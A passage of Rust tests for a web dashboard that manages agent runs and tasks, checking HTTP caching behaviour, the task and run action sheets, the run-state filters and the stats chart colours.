15960 Some("no-cache, must-revalidate"),
15961 "the phone has to ask every time"
15962 );
15963
15964 let again = fx
15967 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15968 .await;
15969 assert_eq!(
15970 again.status, 304,
15971 "a deck it already has costs one round trip"
15972 );
15973 assert!(again.body.is_empty(), "304 carries no body");
15974
15975 let weak = fx
15978 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15979 .await;
15980 assert_eq!(weak.status, 304);
15981 let stale = fx
15982 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15983 .await;
15984 assert_eq!(stale.status, 200, "an older build must be replaced");
15985 assert!(stale.body.contains("renderRunActions"));
15986 }
15987
15988 #[test]
15989 fn the_task_detail_has_an_actions_fab_and_sheet() {
15990 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15991 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15992 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15993 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15995 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15996 assert!(APP_JS.contains("renderTaskActions(task);"));
15998 assert!(APP_JS.contains("renderTaskActions(null);"));
15999 let sheet = APP_JS
16001 .find("function renderTaskActions")
16002 .expect("sheet renderer");
16003 let body = &APP_JS[sheet..sheet + 3000];
16004 assert!(body.contains("changePriority("));
16005 assert!(body.contains("openTaskEdit(task)"));
16006 assert!(body.contains("renderTaskHoldBox(host"));
16007 assert!(body.contains("renderTaskDoneBox(host"));
16008 assert!(body.contains("renderTaskDeleteBox(host"));
16009 assert!(APP_JS.contains("API.priority(id)"));
16010 assert!(APP_JS.contains("API.deleteTask(id)"));
16011 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16013 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16015 }
16016
16017 #[test]
16018 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16019 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16020 let actions = INDEX_HTML
16021 .find("id=\"run-actions-box\"")
16022 .expect("actions box");
16023 assert!(task < actions, "the task entry comes first in the sheet");
16024 assert!(APP_JS.contains("renderRunTaskEntry"));
16025 assert!(APP_JS.contains("\"Open task \""));
16026 assert!(APP_JS.contains("started directly, no task"));
16028 assert!(APP_JS.contains("sheet-task-link"));
16029 assert!(APP_JS.contains("task-chip-link"));
16030 }
16031
16032 #[test]
16033 fn the_deck_never_sends_the_operator_to_a_terminal() {
16034 assert!(
16037 !APP_JS.contains("Run `magi fold` first"),
16038 "the deck must offer the fold, not prescribe a shell command"
16039 );
16040 assert!(APP_JS.contains("foldRun:"));
16041 assert!(APP_JS.contains("resumeRun:"));
16042 assert!(APP_JS.contains("renderRunActions"));
16043
16044 assert!(APP_JS.contains("armedFold"));
16046 assert!(APP_JS.contains("Yes, fold worktrees"));
16047
16048 assert!(APP_JS.contains("can no longer be resumed"));
16051 }
16052
16053 #[test]
16054 fn a_finished_run_explains_itself_with_its_own_last_line() {
16055 assert!(
16061 !APP_JS.contains("collapsed on agent quota"),
16062 "a stall must not be explained by a cause the deck did not check"
16063 );
16064 assert!(
16065 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16066 "and a block must not offer a guess with an `or` in it"
16067 );
16068
16069 assert!(
16073 APP_JS.contains("setText(r.event, run.event || \"\")"),
16074 "the run's last line is rendered unconditionally"
16075 );
16076 assert!(
16077 !APP_JS.contains("moving && run.event"),
16078 "and never gated on the run still moving"
16079 );
16080
16081 assert!(APP_JS.contains("lost to quota"));
16083 }
16084
16085 #[test]
16107 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16108 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16109 let shapes_body_start =
16110 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16111 let shapes_close = APP_JS[shapes_body_start..]
16112 .find("].map(")
16113 .expect("the shape list is closed by its done-computing .map(...)")
16114 + shapes_body_start;
16115 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16116
16117 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16118 for entry in shapes_src.split('{').skip(1) {
16119 let waiting = entry.contains("waiting: true");
16120 let dead = entry.contains("live: \"dead\"");
16121 let status_at =
16122 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16123 let status_end = entry[status_at..]
16124 .find('"')
16125 .expect("the status string is closed")
16126 + status_at;
16127 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16128 }
16129 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16130
16131 let done_rule_marker = "done: !";
16135 let done_rule_at = APP_JS[shapes_close..]
16136 .find(done_rule_marker)
16137 .expect("the done rule follows the shape list")
16138 + shapes_close
16139 + done_rule_marker.len();
16140 let includes_at = APP_JS[done_rule_at..]
16141 .find(".includes(shape.status)")
16142 .expect("the done rule ends in .includes(shape.status)")
16143 + done_rule_at;
16144 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16145 .trim()
16146 .trim_start_matches('[')
16147 .trim_end_matches(']')
16148 .split(',')
16149 .map(|s| s.trim().trim_matches('"'))
16150 .filter(|s| !s.is_empty())
16151 .collect();
16152
16153 let shapes: Vec<(bool, String, bool, bool)> = shapes
16154 .into_iter()
16155 .map(|(waiting, status, dead)| {
16156 let done = !not_done.contains(&status.as_str());
16157 (waiting, status, dead, done)
16158 })
16159 .collect();
16160
16161 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16165 if waiting {
16166 return "waiting";
16167 }
16168 if dead
16169 && !matches!(
16170 status,
16171 "merged"
16172 | "ready"
16173 | "stalled"
16174 | "blocked"
16175 | "failed"
16176 | "verified_noop"
16177 | "superseded"
16178 | "already_in_base"
16179 )
16180 {
16181 return "stale";
16182 }
16183 match status {
16184 "merged" | "ready" => "landed",
16185 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16186 | "already_in_base" => "ended",
16187 _ => "flight",
16188 }
16189 }
16190
16191 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16194 match filter_key {
16195 "active" => !done,
16196 "flight" => !done && !waiting && !dead,
16197 "stale" => !done && !waiting && dead,
16198 "waiting" => waiting,
16199 "done" => done,
16200 "all" => true,
16201 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16202 }
16203 }
16204
16205 let compatible = |section: &str, filter_key: &str| {
16206 shapes.iter().any(|(waiting, status, dead, done)| {
16207 run_section(*waiting, status, *dead) == section
16208 && filter_matches(filter_key, *waiting, *dead, *done)
16209 })
16210 };
16211
16212 let expected = [
16217 ("waiting", [true, false, false, true, true, true]),
16218 ("stale", [true, false, true, false, false, true]),
16219 ("flight", [true, true, false, false, false, true]),
16220 ("landed", [false, false, false, false, true, true]),
16221 ("ended", [false, false, false, false, true, true]),
16222 ];
16223 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16224
16225 for (section, wants) in expected {
16226 for (filter_key, want) in filter_keys.iter().zip(wants) {
16227 assert_eq!(
16228 compatible(section, filter_key),
16229 want,
16230 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16231 );
16232 }
16233 }
16234
16235 assert!(
16238 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16239 );
16240 assert!(APP_JS.contains(
16241 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16242 ));
16243 assert!(APP_JS.contains(
16244 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16245 ));
16246 }
16247
16248 #[tokio::test]
16249 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16250 let dir = tempfile::tempdir().expect("tempdir");
16254 let explicit = dir.path().join("not-a-checkout");
16255 std::fs::create_dir_all(&explicit).expect("create dir");
16256 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16257
16258 let missing = dir.path().join("does-not-exist-at-all");
16259 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16260 }
16261
16262 #[test]
16263 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16264 assert!(APP_JS.contains("function statsDonutArcs"));
16265 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16266 assert!(APP_JS.contains("function statusInBucket"));
16268 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16269 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16270 let buckets = [
16271 "merged",
16272 "ready",
16273 "in_progress",
16274 "blocked",
16275 "failed",
16276 "verified_noop",
16277 "superseded",
16278 "stalled",
16279 ];
16280 for key in buckets {
16281 let var = format!("--verdict-{key}:");
16282 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16284 assert!(
16285 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16286 "{key}"
16287 );
16288 }
16289 }
16290}